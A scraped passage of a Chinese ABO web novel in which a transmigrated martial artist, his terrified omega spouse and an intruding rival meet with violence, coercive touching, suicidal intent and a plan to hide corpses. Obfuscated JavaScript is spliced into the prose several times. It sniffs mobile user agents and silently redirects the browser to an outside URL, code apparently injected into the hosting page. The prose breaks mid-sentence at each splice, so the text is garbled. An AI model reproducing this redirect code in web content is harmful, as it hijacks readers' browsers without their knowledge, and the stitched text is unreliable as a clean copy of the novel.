0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077641|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉,他总觉得室友的怒意并非毫无缘由,他要知道室友的床是怎么塌的。 他走到塌掉的床前,蹲下来,很快就找到床塌的原因——其中一根床腿完全碎裂了,而那个碎得不能再碎的床腿,正是项知擎为堵住墙壁的破洞,改动室友房间格局时,抓过,握过,且借此飞速拖动过整张床的那根。 项知擎:“……” 项知擎摸了摸鼻子。 项知擎站起身。 项知擎默默拎起沙发上的枕头,并重新放回了自己的床上。 . 温热的水流从头顶倾泻而下。 可安纯怎么洗,都洗不掉心里的恐慌和寒意。 莫名坍塌的床铺,被生生拧下的门锁,还有项知擎披上人皮的虚伪恶语。 “床怎么塌了?看来今晚你这屋是不能睡了,要不先去……” 床怎么塌了?床怎么会塌?!实木打造的标准床难道不是那个能把安全门锁生生拧下来的alpha弄塌的,而是他这个omega给睡塌的吗?! 安纯闭上眼。 他想起当他得知自己能够拥有一间房间时,心里止不住涌上来的微末欢喜。 真蠢啊。 原来只是alpha陪他玩了一场恶劣至极的猫鼠游戏。 水流覆盖面部,几欲令人窒息。 安纯却希望时间能够就此停滞。 可洗得越久,就越恐慌,愈跳愈烈的心脏似乎都在恐惧,生怕alpha下一秒就再等不及,粗暴且愤怒地破门而入。 安纯睁开眼。 他关闭淋浴龙头,擦干身体,将偷偷带进来的折叠水果刀贴着掌心放入睡衣口袋,他推开卧室的门。 他愣住。 项知擎已经躺在床上睡着了,床被人为分成两部分,上面有两床被子,项知擎背对着另一半空荡荡的床铺,身子微微蜷起,甚至睡得很规矩。 安纯用了好大一会儿才回过神来,他松了一口气。 也是,项知擎已经看过了他瑕疵遍布的胸膛,在他皮肤恢复如初之前,定不屑对他做什么。 但他还是屏住呼吸走过去,轻手轻脚躺进被子里,小心翼翼地把水果刀藏到枕头下,他动作全程又轻又慢,像羽毛落地,唯恐发出声息。 关上灯,他连呼吸都不敢用力。 一分钟,两分钟,三分钟…… 他竟在狼窟里待出了倦意。 “呼……” 寂静的空气突然被项知擎的呼吸和动作打断,只见身旁的庞然大物翻了个身子,身上覆盖的棉被也滑下去。 安纯瞬间睁大眼,屏住呼吸。 时值雪季,即便希望住宅的暖气不断运行,粗糙的房屋建造也总有缝隙,冷意侵袭。 安纯听到项知擎似乎嘟囔了句什么,他的被子被人扯动,一具健壮的身躯和他盖上了同一床被子,一双粗糙而火热的大手钻进他的下摆,覆上了他脊背处的皮肤。 安纯浑身僵直。 他下意识想要去摸自己枕头下的水果刀,可他双臂都被人紧紧箍在怀里,他动弹不得,像一具木偶。 他清晰地感受到那双带着粗茧的手顺着他的腰摸上他的脊背,然后一点点滑下来,摸上他的腰,臀,然后顿住。 安纯呼吸变得急促,浑身开始颤抖,可却不敢做出任何的反抗和推拒,但就在项知擎重新开始动作,那只粗糙大手狎昵地揉捏起来时,安纯终于再也无法忍受,他丧失理智般用力挣开束缚推开项知擎! 什么也没有发生。 他的双臂之所以能从项知擎的禁锢中挣脱出来,是因为项知擎的注意力已经不在此处,而他奋力一击般推向项知擎胸膛的动作却好似蚍蜉撼树。 他没能推开项知擎,却无疑惹恼了他。 “嘶啦!” 不再玩装睡游戏的项知擎睁开眼,他嗤笑一声,一把将安纯的睡衣从头到尾撕了个稀巴烂! 安纯浑身僵冷。 绝望从心底蔓生。 4. 第 4 章 项知擎有一个木偶娃娃。 他先天条件不足,刚被养父捡到时又瘦又小,别的小孩三岁就能扛大米,而他提桶油都要气喘吁吁。为了让他强身健体,养父四岁便让自己的保镖朋友教他练武,并给他做了一个等身的木偶娃娃。 白天,他把木偶娃娃扎在土里,对着木偶娃娃挥拳练武,可一到夜里,他就会偷偷把木偶娃娃洗干净,抱进怀里陪他一起入睡,并摸着它说白天辛苦你啦。 那是他童年时期唯一的伙伴和玩具。 项知擎又抱到了自己的小木偶。 他和自己的小木偶练武时总是只练招式而不练力气,因此小木偶并没有出现损坏,反而因为日日与自己相拥而眠而十分光滑好摸。 他像往常一样抱着自己的小木偶,并像小时候一样摸着它滑滑的后背。 好好摸。 滑溜溜的。 他摸来摸去,摸去摸来,然后顿住。 不对。 他的小木偶是直溜溜的,板正正的,没有屁股。 而且他的小木偶早就被少爷指使着保镖掰碎了。 项知擎脑袋一片空白地捏了一下。 软的! 项知擎突然惊醒过来,他几乎是被吓了一跳,他猛地睁开眼收回手,然后只听“嘶啦”一声—— 透过窗外的路灯和月光,在昏暗的房间里。 项知擎看见柔滑的睡衣布料在空中飞舞,而室友正愤怒地看向他。 眼睛都气红了。 项知擎:“……” 项知擎心虚不已。 项知擎强作镇定。 项知擎试图补偿:“……你睡衣多少钱买的?” 室友拳头好像响了一下,低声道:“三万星币。” 项知擎:“……” 项知擎怀疑室友在讹人。 虽然他是穿越过来的,但他也不是傻子,项知擎打扫房间时还见到了狗项圈的吊牌,标价三十五。 这说明这个世界的货币购买力和他原本的世界是差不多的。 而且,室友都住合租屋了,还买了三十五块钱质量看起来也很差的狗项圈,怎么看都不像是会花三万块钱买睡衣的人。 项知擎确信室友在讹人。 但他没有证据。 片刻后,项知擎看着室友死死握着的拳头,紧紧绷起的身体,裸露皮肤上泛起的愤怒薄红,明白过来——室友就是故意讹他的,因为自己捏了他屁股。 项知擎:“……” 要不让你捏回来? 哎。 项知擎叹气。 项知擎认栽。 . 项知擎撕了他衣服还兴致勃勃地问他衣服多少钱。 安纯回答:“三万星币。” 项知擎不说话,但安纯觉得项知擎似乎又嗤笑了一下。 星币是星网上的货币制度,网民们可以通过签到,玩游戏,论坛答疑等各种方法获得大量星币,因为星币十分容易得到,所以在一些人眼里,能够用星币买到的货品,就等于捡别人不要的廉价垃圾。 不过的确廉价。 一联邦币可以兑换一千星币,安纯身上这件睡衣如果用联邦币购买,只需三十元。 穿着廉价睡衣和染着一身斑驳过敏痕迹的安纯似乎浇灭了项知擎的玩弄兴趣,他懒散地打了个哈欠,拾起地上的棉被,盖在身上,说:“知道了,睡吧。” 安纯却再也睡不着了。 身旁人的每一个翻身,每一个呼吸都会引起他的恐惧和颤栗,他像惊弓之鸟一样,一次一次把手伸到枕下,去摸自己藏起来的水果刀,以获得微弱的安全感和慰藉。 但他又清晰地知道。 即便有这把水果刀,他也不能伤害这名强大的alpha分毫。 他甚至怀疑这把水果刀能不能碰到alpha的皮肤! “呼……” alpha又翻了个身。 姿势从平躺变成面向着他。 alpha的呼吸扑到了安纯脸上,鸡皮疙瘩一层接着一层冒出来,安纯条件反射般伸出手,再次摸上枕头下的水果刀。 “啪!” 然而这一次,项知擎却伸手握住了安纯的手腕。 安纯浑身僵直。 “大半夜不睡觉干嘛呢。” 项知擎在黑夜里睁开眼,似笑非笑的嗓音里溢出冷意。 安纯大脑一片空白。 “枕头下有什么?” 项知擎粗糙而有力的手指顺着安纯的手腕摸上去,轻而易举就拿到了枕头下的水果刀。 不行! 不能让他发现自己藏了刀,更不能让他拿到那把刀!否则按照项知擎的性子,他怕是会拿着安纯亲手藏起的刀在安纯身上“作画”! 安纯拼尽全力伸手去捂,去抢! 项知擎却轻飘飘地推开他,毫不费力地将一把折叠水果刀拿了出来,然后—— “啪嗒”。 项知擎两指微微用力,就将那把刀在安纯面前折成两半了。 安纯怔住。 项知擎捏着指尖的断刃,抬起头,像蜿蜒的毒蛇般冷笑着看他。 安纯浑身发凉。 他知道自己完了。 . 项知擎要被室友气笑了。 武者听力本就异于常人,室友还像小老鼠一样窸窸窣窣动来动去就是不睡觉。 自己都已经答应赔他三万块了,他还想咋滴? 项知擎翻了个身。 室友又开始把手伸到枕头下摸来摸去。 项知擎捂住耳朵。 室友继续摸枕头下的东西。 五分钟,十分钟,二十分钟。 直到项知擎终于困得不行了,他身体变得放松,呼吸变得绵长,他下意识翻了个身,找了个最舒服的姿势,且马上就要睡着了…… 室友又开始发出动静。 项知擎:“……” 项知擎忍不了了。 项知擎被气笑了。 项知擎一把按住室友的手,顺着他的动作往他枕头下摸—— “大半夜不睡觉干嘛呢?枕头下有什么?” 枕头下到底有什么啊?! 项知擎只在枕头下摸了一下,就摸到了个小小的东西,他把这东西拿出来一看,发现这东西是绿色的塑料材质,只有手指长短,小恐龙模样,还是个折叠产品。 项知擎单手把这折叠物打开。 “啪嗒。” 这个质量极差的塑料产品,就在项知擎指尖碎成两段了。 项知擎:“……” 项知擎人麻了。 室友不会又要讹他好几万吧?! 他缓缓地,慢慢地,维持着将塑料玩具掰断的姿势,抬头向室友看去。 并讪讪地,心虚地,讨好地朝室友笑了下。 . 安纯知道自己完了。 昂贵的,锋利的,号称连椰子都能轻易剖开的水果刀被生生折成两半。 折断处的绿色刀刃在月光下泛出冷硬的寒芒。 而项知擎正冷笑着看他。 安纯浑身发凉。 . 恐惧到极处竟然滋生了冷静,眼看项知擎正拿着碎刃靠近,像是准备划破他的脖颈,安纯散发出了自己的信息素。 他身患基因与腺体缺陷症,不能正常接收和散发信息素。 寻常omega可以控制自己的腺体,散发出一丝一缕或是一毫一厘的信息素,然而安纯若是想要散发自己的信息素,便如洪水开阀,一散便是全部。 omega甜腻的信息素瞬间充盈了整个房间,惊人的浓度如同世间最赤裸裸的勾引,瞬间令alpha停下动作。 安纯知道自己在做什么。 但为了不被打死,他必须要这样不知廉耻地取悦自己的丈夫。 事实上,从选择匹配婚姻的那一刻起,安纯就接受了自己可能会被标记的事实,而他随身携带的水果刀从始至终都只是为了抵抗alpha致死的凌虐。 毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077642|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟,即便他有幸杀死项知擎,坐牢之后,他还是会被匹配给另一个alpha。只要他不能以缴纳五百万罚款的代价解除婚约,那么这就会是一场无休无止的噩梦。 但他搞砸了。 他太惶恐,太害怕,太不经事。 alpha还没有真正开始凌虐他,他就已经彻底惹怒了自己的丈夫。 而直到这一刻,安纯才清晰意识到——他竟如此不甘心去死。 . 睡衣本就残破不全,后背几乎赤裸一片,安纯并没有将它脱下,而是任由自己挂着这么一身破败不堪的布料,凑过去,轻轻握住alpha的手,拿走他手中的断刃,并扔下。 空气中的omega浓度足以令任何一个信息素检测仪发出警报,也足以令任何一个单身alpha情动不已。 他的丈夫亦是如此。 alpha立刻就出现了生理性的反应,他肌肉紧绷,心跳加速,任由安纯拿走碎刃,并饶有兴趣地盯着他,唇角漫出笑意。 ……就像是看着一个使尽浑身解数的娼妓。 安纯在高端会所做过保洁,他见过别的omega是怎样取悦alpha的,要投怀入抱,要拥吻,要…… 安纯垂下眼。 他将用最低贱的方式来取悦他的丈夫。 他跪在床上。 素白的手指触上alpha的衣摆。 . 项知擎感觉心里毛毛的。 他不小心捏碎的塑料玩具好像是个挺重要的东西,室友的脸色比被撕坏了睡衣时还难看。 他拿着手中的塑料残骸朝室友那边凑了凑,想问室友这东西又需要他赔多少? 但话还没问出口就停下。 唔……不能这么问,听起来有点像挑衅。 而且他手中的小玩意儿看起来真不值几个钱啊,但室友的反应又太激烈,该不会是什么无价的遗物吧? 项知擎陷入纠结。 就在这时,室友突然凑过来,把他手中那半截塑料玩具拿走扔掉。 而且表情很平静,很……诡异。 项知擎身体瞬间紧绷。 他只在一个连环变态杀人狂脸上见到过这种表情。 虽然室友看起来弱不禁风且毫无战斗力……但万一呢? 过往的经验告诉项知擎,他不能对任何一个对手放松警惕。 于是他以不变应万变,维持着微微笑着的放松表情绷紧身体。 果然! 室友动了! 他掀开被子,跪在床上,并朝项知擎伸出手—— 电光石火之间,项知擎脑海中闪过无数反应。 要阻止吗?要避开吗?要立刻钳住室友的双手,并将他反绑到床上吗?! 按理说应该是这样的,可是…… 可是室友身上没有一丝内力波动,且看起来是真的手无缚鸡之力,又没有藏纳利器,最主要的是……他已经穿越了,这里也许已经不是古武界了,室友也不是那个被他结果了的变态杀手。 万一室友只是很生气,想打他一拳呢?毕竟自己弄坏了他的重要东西。 要不让室友打? 说不定还能省好几万呢。 项知擎很快在心中下了决定,他放松肌肉,准备让室友打。 但室友的手势却有些不对劲,没有力道,且不是拳头,难道是准备拧他? 项知擎努力克服了自己本能反应,放松肌肉,准备让室友拧。 …… 室友掀开了他的下摆。 室友碰上了他腹部的皮肤。 室友…… 项知擎瞬间睁大眼,大脑一片空白,而就在室友即将把他睡裤彻底扒下来的时候项知擎终于反应过来,他一把抓住室友的手腕并把他死死摁在床上! 项知擎惊呆了! 他后背一秒渗出冷汗! 他没想到室友竟这么狠毒!!! 他只是不小心捏碎了室友的塑料玩具,室友竟准备捏碎他的XX!!! 5. 第 5 章 项知擎决计不能继续和这个辣手催X的变态睡在同一张床上,可就在他想着该怎么自然而不显怂地逃到沙发上去睡时,屋外忽然响起一阵巨大的轰鸣。 项知擎松了一口气。 他翻身跳下床,不动声色地抹了把额上的汗,自然而然地走到窗边往外看:“谁呀?大半夜的这么吵。” 安纯则有点愣愣的。 卧室里没开灯,从窗外照进来的光线也昏暗,安纯其实没怎么看清,但他好像……碰到了。 项知擎没有任何反应。 甚至还有点……萎缩。 安纯不能正常接收信息素,但也绝不是一点儿都闻不到,可现在在这个封闭的卧房里,在他释放出了大量的omega信息素后,空气里没有一丝一毫的alpha信息素。 项知擎……不行? 那他是怎么申请到二类匹配婚姻的?毕竟二类匹配婚姻除了生育能力外什么也不看,就连性病患者也可以正常申请……项知擎婚检时用药了? 安纯突然有点高兴,但很快又皱起了眉。 项知擎被爆出来的视频里并没有他标记omega的场面,但照样不妨碍他玩残了一个又一个omega。 或许……他就是因为自己不行才偏好凌虐omega的。 毕竟阉人自古多变态。 “砰!” 一声巨响从客厅传来,安纯瞬间回过神,项知擎则快步走过去一把拉开卧室门—— 只见他们的房屋大门被暴力破开,分成两半倒塌在地,冷风灌了进来,客厅灯光骤然全亮。 刺眼的灯光照射下,有十几个黑衣保镖鱼贯而入,列成两排,几乎将狭小的客厅塞满了,而在保镖队伍的尽头,一个身穿黑色西装的男人缓缓走了进来。 安纯瞳孔骤然紧缩—— 霍渊! 卧室内浓烈的omega信息素随着项知擎开门的动作释放到客厅,有几个打过长效抑制剂的保镖都禁不住变了脸色,alpha信息素难以自控地逸散而出,霍渊更是步伐一顿,呼吸都变得急促。 他闭上眼,深吸一口气。 这味道…… 果然没白来一趟。 用了几个omega都不行,还是得这个始作俑者才能泄掉他心头的火。 霍渊扯了扯领带,哑声命令:“带走。” 他停顿了一下,目光凝上安纯颈侧若隐若现的红痕,不悦地皱起眉。 霍渊:“先打断项二少的腿。” 一个被项家扫地出门的弃子而已,竟先享用了他看上的东西。 项知擎:“……” 项知擎:“???” 项知擎:“!!!” 打断谁的腿?我吗? 这些是什么人?毒鬼项知擎的敌人找上门了?要先打断他的腿,再带他走? 眼看着十二个保镖中有六个都手持棍棒一步步朝他走来,项知擎默默关上了身后的房门。 . 安纯听着屋外传来的激烈打斗声,脸色变得煞白,心脏砰砰直跳,身体忽冷忽热。 他掀开被子走下床,从行李箱中拿出件体面的外套穿上,然后跪在地上找到那枚被自己扔掉的绿色刀片,他把刀片贴在胸口,焦躁不安地在屋里踱着步。 然后顿住。 他其实不用焦躁和紧张,因为结局显而易见。 项知擎力气很大。 但那又如何呢,他难道能打得过十二个手持武器的alpha保镖吗? 五分钟……不,或许三分钟后就会有人推开门,而他则会变成霍渊召之即来挥之即去的新情人,他会成为低贱的第三者,令人唾弃的金丝雀。 安纯缓缓坐到床边。 他低下头,无意识地看向脚踝浅蓝色的血管,拖鞋的鞋尖轻轻抵着地面,却觉得自己已经坠入了深不见底的黑渊。 跟着霍渊更好呢。 安纯对自己说。 你刚刚为了活下去,不也恬不知耻地去取悦alpha,把自尊全然抛下了吗? 霍渊可没什么见不得人的癖好,跟着他不用担心被打死,说不定还能继续上大学呢。 当小三又怎么了?他又不是故意的,况且没有他也会有别人,那名未婚妻小姐难过就难过呗,她早就知道霍渊情人不断,本就该及时止损,她不愿,她活该。 逃离?拒绝?反抗? 哈!算了吧! 他之前自取灭亡般的抵死抗争不也失败了吗?事实证明,他根本没有选择的机会,之前的反抗在霍渊眼里只是一场笑话罢了,说不定还成了增加情趣的佐料。 他本就是没有自尊,无法抵抗,且不能选择的。 安纯垂下眼,静静坐在床边。 他的模样安静,乖巧,又漂亮,精雕玉琢般的脸上一丝情绪也没有,像被抽干了灵魂后摆放在精美橱窗里的木偶。 木偶人想。 真恶心啊。 这种被操纵的,被强制的,从来没有过选择的人生。 . 项知擎很头大。 莫名其妙穿越了时空,还要和一个难以相处的室友朝夕相对就已经够憋屈了,结果还有不长眼的人闯入他家要打断他的腿?! 项知擎本来想和领头人沟通一下的,如果真是那个毒鬼做了什么天怒人怨的事情,他也不是不能舍弃这个身份。 可他嘴还没张开呢,有一个黑衣保镖的棍子就已经抡上来了! 项知擎:“……” 行吧,先打。 谁知道这里人的骨头跟家具一样脆,武器却很了不得,保镖手中的棍棒会发电也就算了,那个穿西装的领头人竟还拿出了能发射激光的手枪! 项知擎:“!!!” 项知擎惊呆了,他可不敢小觑高科技的力量,立刻就侧身避开激光并运用出十成内力! ……结果就是十二个保镖和一个西装男倒了一地,每一个都陷入深度昏迷,即便项知擎捏着下巴扇脸都醒不来,且看上去都快要死了。 项知擎:“……” 项知擎抓抓头发,愁眉苦脸。 . “喂。” 项知擎打开卧室门,然后顿住,“……你在干什么?” 室友坐在床上,高高仰着头,一只手放在脖子上,另一只手举着一个方方正正的……玻璃片? 看起来像是在……照镜子? “你脖子上的过敏又严重了?”项知擎随口问道,但其实对这种事根本不在意,没等室友回答,便又开口道,“帮我报个警吧,我……那个坏了。” 项知擎机智地隐去了“手机”这两个字,因为他刚刚在那十三个人身上搜了一番,没在一个人身上搜到手机,但就像他们用飞车代替汽车一样,说不定他们有更高级的通讯工具。 室友是个冷漠无情的人,他这边和人生死厮杀(好吧没那么严重),室友却在屋里美美照镜子,现在见他求助,也一句话没说,没问他有没有受伤,更是没问他为什么被人追杀到家里,只慢吞吞地看了他一眼,放下手中的“镜子”,低头在上面点了几下。 方方正正的玻璃片闪现出幽幽蓝光,但以项知擎的视角什么也看不见,可没一会儿,里面就传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077643|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出温柔女声:“暂时无法通讯,请检查您的终端网络后重试。” 这竟然是个通讯器?! 项知擎惊呆了,但他稳住了脸上的表情,并没有暴露出自己的没见识,只沉声道:“打不通?” 室友点头:“他们带了止信仪,干扰了整个街区的信息通讯网络,所有联网产品都不能使用,包括外面的监控。” 安纯面上虽然表现得很平静,但事实上,他拿着刀片的左手正微微发抖。 如果项知擎再晚进来一秒,如果项知擎开门和发声不那么迅速,那么安纯手中的刀片就已经划开了自己的喉管,他的鲜血将会像烟花一样喷溅出来,而他割喉的血腥场面,和之前的临终遗言,以及接下来有可能会录入的霍渊走进来的场景都会记录在他的终端上,只等网络恢复便会上传到他所有的社交平台。 这是蝼蚁如他能想到的最后的抗争。 如果不是没有网络,安纯其实是更想直播的。 但安纯怎么也没想到进来的人会是项知擎。 安纯朝项知擎身后看去,看见霍渊和他的十二个保镖不分彼此,毫无声息地堆放在一起。 像是一团待扔的垃圾。 鲜血染了满地。 安纯呼吸停滞。 新婚丈夫不但是个嗜好凌虐omega的变态阉人,还是个杀人如砍菜的修罗恶鬼,安纯觉得自己应该害怕的,可事实上,当他开口的那一刻,他却听到了自己语气里的期待。 “他们死了吗?” 安纯声音有些颤,尾调轻轻上扬。 . 室友用一种玩味又漫不经心的语气问,外面那群人是不是死了? 项知擎:“……” “……没有,”项知擎无语地瞥了他一眼,问起自己更关心的问题,“止……那个止信仪长什么样子?能毁掉吗?” 听到那群人没死,室友语气立刻就变得冷淡:“是透明的正方体,据说很难毁掉。” 项知擎之前就在那群人身上搜了一遍,没找到手机,自然也没找到什么透明的正方体,于是他转身就往屋外走,来到飞车前,转了几圈,很快就透过车窗在其中一个飞车的后座看到了一个透明的,发着光的,极具科幻感的正方体。 项知擎一拳砸碎车窗,将那玩意儿拿出来,他抱着正方体进了屋,见室友已经走出卧房来到客厅,正面无表情地站在西装男身边,不知道在看什么。 “是这个不?”项知擎问,“砸了它就能报警?” 室友却没点头说是,只看向他,目光幽幽的:“你真的要报警吗?” 项知擎开了个玩笑:“不然呢?把他们放到发臭?尸体怎么处理?” 室友却走近了他,声音又轻又慢,如同行走在雪夜中的鬼魅:“尸体很好处理,他们开了止信仪,一路上监控都会失效,终端和飞车上也没有痕迹,不会有人知道他们来过这里,我们只用把他们塞进飞车,目的地设置为108号废矿洞,这个废矿洞公示过,会在明天上午定时爆破,爆破的时候飞车会自燃,到时候一切痕迹都会消失——最妙的是,止信仪有防爆装置,根本不会在那场爆破中损毁,会继续为他们遮掩信号和终端网络,永远都不会有人知道他们已经被炸成了粉末,埋藏在废弃矿底。” 项知擎:“……” 项知擎起了一身鸡皮疙瘩。 他就知道室友是个狠人!!! 看吧! 自己只是掰碎了他的玩具,他就想把自己变成太监,这帮人闯进来弄坏了他们的房门,还把客厅搞得一团乱,于是室友就发了狠,要让他们尸骨无存了!!! 6. 第 6 章 安纯想让霍渊死。 刚开始,这只是一个小小的,发泄般的,不切实际的心愿。 可就在刚刚,在他绝望地坐在床边,面对着终端,拿着刀尖抵在自己喉管上的那一刻,这个愿望达到顶峰。 录下自裁、遗言和霍渊进门的视频根本不够,甚至那个视频能不能面世都是两说,比起“报复”,那更像是他在无望的挣扎后一场自我催眠式的泄愤。 那一刻,安纯想。 人死后如果能变成厉鬼就好了,那么他就能杀掉所有罪孽深重者。 于是安纯不想让项知擎报警。 “你真的要报警吗?”安纯小声问。 项知擎咬牙冷笑了一声,躁怒道:“不然呢!把他们放到发臭?!尸体怎么处理?!” 原来项知擎也想毁尸灭迹,只是因为害怕暴露,才不得不报警。 安纯心中松了一口气,他死死掐着掌心,压下对项知擎的厌恶和想要后退的恐惧,轻声说:“尸体很好处理,他们开了止信仪,一路上监控都会失效……” 废弃矿洞的信息是安纯在来希望住宅的路上查到的,当时他刚重新看过项知擎凌虐omega的视频,心中又惊又惧,胡乱想了很多,大多是不切实际的妄想,比如说杀夫后抛尸在废弃矿洞,这根本无法实现——他没办法避开沿途的监控。 结果现在,止信仪的存在让一切不可行都变成可行了。 可说完计划后,项知擎也不说话,只皱着眉,表情像是犹豫。 于是安纯加了最后一管催化剂。 他咬着牙,冒着会惹怒alpha的风险小声说:“霍家权势滔天,你又把霍渊打得那样惨,警方是不会公正处理这起案件的,霍家也不会放过——” “……霍渊?”项知擎打断他,“你认识那伙人?” 安纯脑袋一片空白。 他没想到项知擎竟不知道霍渊是冲他来的,他以为项知擎知道,他以为项知擎和霍渊打起来是为了维护alpha的尊严——alpha绝不能容忍自己的omega在自己面前被抢走,哪怕他并不把那个omega放在心上。 结果……不是吗? “只在电视上和杂志上见过,”安纯的谎话脱口而出,他声音有些干涩,脸上却瞧不出任何端倪,“怎么,他不是吗?” 这是一个机会。 安纯意识到,只有让项知擎意识到霍渊是他一个人的敌人,而并非两个人的,他才更愿意考虑杀人抛尸。 而只要霍渊死了,他的谎话就不会被轻易拆穿。 “是。” 项知擎说。 ……应该是吧? 刚刚他朝那个西装男出手的时候,好像确实听到有个保镖喊了声“霍先生”。 项知擎摸了摸下巴,很想知道毒鬼项知擎和那个霍先生到底有什么不死不休的仇怨…… 想到这儿,项知擎又低头去看了一眼西装男,然后发现—— 糟了!快死了! 项知擎立刻一掌把止信仪劈碎,转头对室友喊道:“报警!” 紧接着,他蹲下抓住西装男的手腕,将一丝极为精纯的内力输送了过去,勉强为他吊住了命。 剩下几个保镖倒没西装男伤得那样重,但项知擎还是查探了一番,给较重的几个也输送了内力。 做完这一切,项知擎回头一看,室友正慢条斯理地把手腕上“透明手表”拿下来,折开,变成了项知擎熟悉的方片通讯器,然后一个数字一个数字拨打号码。 项知擎:“……” 看得出你很想让这群人死了。 以免室友继续浪费时间,项知擎在室友刚拨通电话,并报出了地址后就把通讯器夺了过来:“有歹徒入室行凶,请先派救护车过来,歹徒们快不行了……” . 看着项知擎正在和接警员沟通的背影,安纯从头到脚都是冷的。 安纯不知道项知擎在想什么,为什么非要报警,他难道不知道事发后霍家绝不会放过他,而项家也已经把他逐出家门,再不会保他了吗?! 不过项知擎到底是怎么想的安纯其实并不在意。 他只知道霍渊的伤势虽然严重,但只要在高等治疗舱躺上两个月就能恢复如初。 到时候他会怎么样呢? 如果他没被项知擎折磨死的话,恐怕霍渊还是会找上他吧。 然后呢? 然后两个月后,项知擎想必已经彻底清醒,再不敢招惹世家权贵,说不定为了使霍渊消气,还要亲手把他送过去。 哈! 安纯浑身都发抖。 他垂下眼。 一步一步走向厨房。 . 项知擎很快就打完了报警电话,但打完后他又忍不住拿着手中的高级通讯器看了看,他一想到这东西可以折叠成条状扣在手腕上,就觉得很高级,而且似乎这里的每个人手腕上都有这样一个的东西,等他挣到钱,他一定要买一个,不对……挣到钱他得先赔室友3万块钱的睡衣…… 项知擎:“……” 项知擎叹了一口气,转过身,可看见眼前景象的那一刻,他心跳骤停—— 只见室友半跪在西装男身侧,他双手持刀,高高举起,正面无表情地朝西装男脖颈砍去! “砰!” 项知擎手中的终端在空中划出一道凌厉的直线,瞬间将安纯手中的菜刀击落,室友也被震得歪倒在地,手臂蹭上地上的瓷砖碎片,划出长长一道血线,但室友动作顿也没顿,几乎在下一秒就爬过去重新捡起菜刀,再度朝西装男砍去! 可项知擎的动作却比他更快,在安纯拾起菜刀的同一时刻,项知擎就揪着他的衣领把他从地上提了起来,并把他刚举起的菜刀一把夺走了! 室友抬起头,目光冰冷地看着他。 项知擎动作顿住,然后眯起眼:“……你刚刚骗我?你认识这伙人,他们甚至是冲你来的?” 项知擎想起来了,虽然那个西装男……或者说霍渊,确实吩咐手下说要打断他的腿,但在一开始,当他说“带走”这两个字的时候,看的却不是他。 室友却闭上眼,唇角挂着一抹嘲讽般的冷笑,不回答。 项知擎:“……” 项知擎磨了磨牙:“所以这根本就是你的敌人,而不是我的?那你还怂恿我杀人抛尸?!” 还威胁他呢!说什么霍家权势滔天,不会放过他,其实室友是怕霍家不会放过他自己吧!!! 室友依旧闭着眼,一副引颈就戮,你爱咋咋地的模样。 项知擎:“……” 室友真坏啊!!! 皮肤白白的,心脏黑黑的!!!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077644|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>. 说实话,项知擎很想揍室友一顿。 什么人啊,既讹了他钱,又想骗他抛尸,他不同意后甚至准备直接砍人?! 报警电话都已经打了啊小蠢货!真是欠收拾! 但项知擎并不准备收拾他,一是室友毕竟只是室友,和他非亲非故,不是他的师弟也不是他师侄,他根本没立场去收拾人家,二是……实在找不到下手的部位,室友太瘦了,拎起来才知道也这么轻,感觉一掌拍下去就会碎,要打只能打肉最多的地方,那肉最多的地方……咳,他之前不小心拧了一下就被讹了三万,要是再打一下,谁知道室友又准备讹他多少钱…… 因此项知擎只能心不甘情不愿地把室友重重拎起,轻轻放下。 但又不能把他放在客厅,谁知道他会不会再度发疯拿着刀去砍霍渊,项知擎只好把他拎到卧室,准备脱掉他外套把他卷进被子里,并把被卷给捆住,以此限制他的行动。 . 安纯要被项知擎蠢笑了。 把霍渊打成那副样子还敢报警,又在等警察来的期间玩起了性虐游戏。 盯着项知擎从床头柜里找出来的艳红色束缚绳,安纯真有点想发笑。 怎么这么大瘾? 明明都不行。 安纯扯了扯唇角,却发现自己根本笑不出来,他闭上眼。 他所有的情绪都转化为绝望,在项知擎接连两次夺走他手中的刀的那一刻就已经燃尽了。 他的内心此刻一片荒芜,他甚至恨上了项知擎。 项知擎开始脱他外套,安纯很顺从地配合着他,突然想起了一个绝妙的主意。 